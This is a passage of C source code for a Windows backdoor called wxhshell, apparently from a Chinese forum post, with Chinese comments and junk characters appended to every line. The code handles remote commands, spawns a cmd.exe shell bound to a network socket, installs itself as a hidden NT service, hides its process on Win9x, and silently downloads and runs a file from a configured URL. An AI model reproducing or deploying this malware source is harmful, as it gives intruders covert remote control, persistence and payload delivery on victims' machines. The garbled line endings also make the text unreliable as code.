  } p]qz+Z/  
  else { %@8#+#@J0  
C@g/{?\  
    switch(cmd[0]) { 1'H!S%fS  
  QT=i>X  
  // 帮助 G!Yt.M 0  
  case '?': { .O SQ8W }  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o$#q/L  
    break; %{jL+4veoL  
  } U, 8mYv2|  
  // 安装 BKV:U\QZ  
  case 'i': { !AG oI7W}  
    if(Install()) Q$Rp?o&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :o:Z   
    else 1.5R`vKn]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :jJ0 +Q  
    break; iI3,q-LA  
    } Z`#XB2,  
  // 卸载 <B'PB"R3y  
  case 'r': { +U iJWO  
    if(Uninstall()) 8\G"I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2J (nJT"  
    else 8Y_lQfJa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ts; ^,|h  
    break; B%5"B} nG  
    } /4}y2JVv)  
  // 显示 wxhshell 所在路径 cUO$IR)yL  
  case 'p': { \}AJ)v*<  
    char svExeFile[MAX_PATH]; $wbIe"|  
    strcpy(svExeFile,"\n\r"); R 5\|pC  
      strcat(svExeFile,ExeFile); FD5OO;$  
        send(wsh,svExeFile,strlen(svExeFile),0); >3}N;  
    break; /]of @  
    } (C.aQ)|T  
  // 重启 Fzt7@VNxc  
  case 'b': { $-.*8*9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TPLv]$n  
    if(Boot(REBOOT)) %r&36d'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 39d$B'"<1  
    else { 6n;? :./  
    closesocket(wsh); 4%4Yqx )  
    ExitThread(0); 4y!GFhMh  
    } ^V7)V)Z;0  
    break; |pBvy1e4)  
    } t^2$ent  
  // 关机 :(4q\~  
  case 'd': { wxN&k$`a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S4rm K&  
    if(Boot(SHUTDOWN)) DQ&\k'"\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oc-ia)v1G  
    else { T-]UAN"O  
    closesocket(wsh); )P,pW?h$  
    ExitThread(0); cM\BEh h  
    } mex@~VK  
    break; P.jy7:dB,  
    } t>x!CNb'C  
  // 获取shell WO6+r?0M2  
  case 's': { b;nqhO[f}  
    CmdShell(wsh); o6:@j#b  
    closesocket(wsh); wr~Qy4 ny  
    ExitThread(0); [Fv_~F491  
    break; deJ/3\t  
  } &*oljGt8  
  // 退出 q\<NW%KtX  
  case 'x': { [ua[A;K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V{ ~~8b1E  
    CloseIt(wsh); c7R&/JV  
    break; z2Z}mktP  
    } .EvP%A m  
  // 离开 B1]FB|0's  
  case 'q': { =1xVw5^F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )|#ExyRO  
    closesocket(wsh); cQsSJBZ[v5  
    WSACleanup(); ]:m4~0^#-(  
    exit(1); MP.ye|i4Q  
    break; MZqHL4<|  
        } ,XI=e=  
  } g4{0  
  } F~~9/#  
T!Lv%i*|Y  
  // 提示信息 %Aa_Bumf*:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )6eFYt%c  
} .-[]po  
  } K)}Vr8,V  
# %'%LY=  
  return; RRzLQ7J  
} t~.^92]s|  
ad9u;uS  
// shell模块句柄 =LEzcq>XO  
int CmdShell(SOCKET sock) ;bL?uL  
{ s.XxYXR\  
STARTUPINFO si; .y0u"@iF  
ZeroMemory(&si,sizeof(si)); Yv2L0bUo:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >h~>7i(A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {hm-0Q  
PROCESS_INFORMATION ProcessInfo; *~w?@,}  
char cmdline[]="cmd"; JvaHH!>d/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); prB:E[1  
  return 0; db}lN  
} Bo1 t}#7  
aC<fzUD;  
// 自身启动模式 8ZJ6~~h  
int StartFromService(void) Z=< D`  
{ K6@ %@v  
typedef struct FI)0.p  
{ !!m GsgnW  
  DWORD ExitStatus; ;&kZ7%  
  DWORD PebBaseAddress; 8%xiHPVg  
  DWORD AffinityMask; ~ H"-km"@  
  DWORD BasePriority; ey\(*Tu9  
  ULONG UniqueProcessId; Hq>rK`  
  ULONG InheritedFromUniqueProcessId; O* )BJOPa  
}   PROCESS_BASIC_INFORMATION; Zm(}~C29  
Uo[`AzD3  
PROCNTQSIP NtQueryInformationProcess; Ye^xV,U@  
Q8h=2YL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9WHarv2@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3E>]6  
[|YJg]i-  
  HANDLE             hProcess; H>"P]Y)oX  
  PROCESS_BASIC_INFORMATION pbi; wy:euKB~   
?ZkVk=t?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `8TL*.9  
  if(NULL == hInst ) return 0; E~8J<g E  
z5sKV7&\[n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -qLNs_ _k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jq+@%#G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @[n%q.|VB  
EJJ&`,q  
  if (!NtQueryInformationProcess) return 0; Tc|+:Usy  
%;J$ h^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N ]GF>kf:  
  if(!hProcess) return 0; cCIs~*D  
dbF9%I@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5j _[z|W2  
J`wx72/-ZW  
  CloseHandle(hProcess); U;gy4rj  
k_Lv\'Ok  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \tdYTb.  
if(hProcess==NULL) return 0; '[bw7T  
rKl  
HMODULE hMod; :z$+leNH\  
char procName[255]; clM6R  
unsigned long cbNeeded; -&QpQ7q1  
NIC.c3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9D yy&$s  
$us7fuKE  
  CloseHandle(hProcess); lH"VLO2l  
1W9uWkk_d  
if(strstr(procName,"services")) return 1; // 以服务启动 <u  
D@k#'KU  
  return 0; // 注册表启动 '2{60t_A  
} ntZHO}'  
j3>&Su>H4  
// 主模块 8Z 0@-8vi  
int StartWxhshell(LPSTR lpCmdLine) )1O|+m k  
{ q-e3;$  
  SOCKET wsl; CZ(fP86e  
BOOL val=TRUE; =CaSd|   
  int port=0; Owh:(EJ"d  
  struct sockaddr_in door; 7}tXF  
/8P7L'Rb  
  if(wscfg.ws_autoins) Install(); msw=x0{n5  
X"T)X#:)  
port=atoi(lpCmdLine); @j%7tfW  
xI~c~KC  
if(port<=0) port=wscfg.ws_port; "b`3   
p,\(j  
  WSADATA data; ;|oem\dKv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  x![ut  
'tVe#oI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h6D1uM"o   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *bi;mQ  
  door.sin_family = AF_INET; (T",6xBSG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gk|T1%  
  door.sin_port = htons(port); #jw%0H;l]  
quFNPdP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q]y{ 4"=5  
closesocket(wsl); :/;;|lGw  
return 1; MhN 8'y(  
} ?6:e%YT  
jf& oN]sZ  
  if(listen(wsl,2) == INVALID_SOCKET) { m .^WSy  
closesocket(wsl); ~vfPsaRh  
return 1; M7neOQHq  
} ket"fXqJX  
  Wxhshell(wsl); U#4>GO;A  
  WSACleanup(); a!;K+wL >  
1c$c e+n~  
return 0; AHLXmQl  
Lx3`.F\mG  
}  L$[1+*  
f5.Be%  
// 以NT服务方式启动 Vv>hr+e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zBqNE`  
{ ~Ecx>f4nX  
DWORD   status = 0; NHzVA*f  
  DWORD   specificError = 0xfffffff; YKa9]Q  
T?D]]x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p$6L_ *$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EOf*1/Ih  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qvRs1yr?q  
  serviceStatus.dwWin32ExitCode     = 0; S2$r 6T  
  serviceStatus.dwServiceSpecificExitCode = 0; eak+8URo  
  serviceStatus.dwCheckPoint       = 0; =n M Aw&`  
  serviceStatus.dwWaitHint       = 0; l D]?9K29  
{)- 3g~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fyv S1_  
  if (hServiceStatusHandle==0) return; p1,.f&(f  
z-`4DlJUS  
status = GetLastError(); IVG77+O# }  
  if (status!=NO_ERROR) /ASpAl[J  
{ A*? Qm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  Kuh)3/7  
    serviceStatus.dwCheckPoint       = 0; p[D,.0SuC  
    serviceStatus.dwWaitHint       = 0; 49 1 1  
    serviceStatus.dwWin32ExitCode     = status; m>'#664q1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8*(|uX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oh >0}Gc8  
    return; 2Vg+Aly4D  
  } kJ B u7  
#vT~D>zj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R"e533  
  serviceStatus.dwCheckPoint       = 0; ;vgaFc]  
  serviceStatus.dwWaitHint       = 0; \B8[UZA.&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2!}rH w  
} \p J<@  
6am<V]Hw0F  
// 处理NT服务事件,比如:启动、停止 2B]mD-~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]U5/!e  
{ qApf\o3[0  
switch(fdwControl) Oa7jLz'i  
{ v?S3G-r  
case SERVICE_CONTROL_STOP: 4-q8:5  
  serviceStatus.dwWin32ExitCode = 0; _MUSXB'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qx77%L4  
  serviceStatus.dwCheckPoint   = 0; E)( Rhvij  
  serviceStatus.dwWaitHint     = 0; qLm g18  
  { wmFS+F4`2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FJ O- p  
  } @5TJ]=  
  return; 2Xp?O+b#"O  
case SERVICE_CONTROL_PAUSE: A)D1 #,0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Us8nOr>5  
  break; ?) VBkA5j  
case SERVICE_CONTROL_CONTINUE: (e[8`C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6"jV>CNc@  
  break; AM4 :xz  
case SERVICE_CONTROL_INTERROGATE: :Pi="  
  break; p}-B>v  
}; Q E*`#r#e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i  M!=/  
} MH_3nN  
Bfr$&?j#  
// 标准应用程序主函数 g}*F"k4j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z<$ y)bf  
{ ~*ll,<L:  
ykG^(.E  
// 获取操作系统版本 YRJw,xl  
OsIsNt=GetOsVer(); b`DPf@p^kc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~.8p8\H  
1Ozy;;\-9  
  // 从命令行安装 LT) G"U~  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]08 ~"p  
 :O{ ZZ  
  // 下载执行文件 |ea}+N  
if(wscfg.ws_downexe) { Cb;49;q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *`bAu *  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4'0rgS  
} EnXTL]=0S  
33b 3v\N  
if(!OsIsNt) { BW&)Zz  
// 如果时win9x,隐藏进程并且设置为注册表启动 _.3O(?p,  
HideProc(); 5KwT(R o  
StartWxhshell(lpCmdLine); .06[*S  
} w:o,mzuXK  
else vrvOPLiQ  
  if(StartFromService()) f;%\4TH?  
  // 以服务方式启动 #N `Z)}Jm  
  StartServiceCtrlDispatcher(DispatchTable); @(LEuYq}  
else 8hm|9  
  // 普通方式启动 5j-? Uf  
  StartWxhshell(lpCmdLine); bupDnTF  
:LBRyBV  
return 0; aak[U;rx  
}
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只看该作者 1 发表于: 2006-10-10
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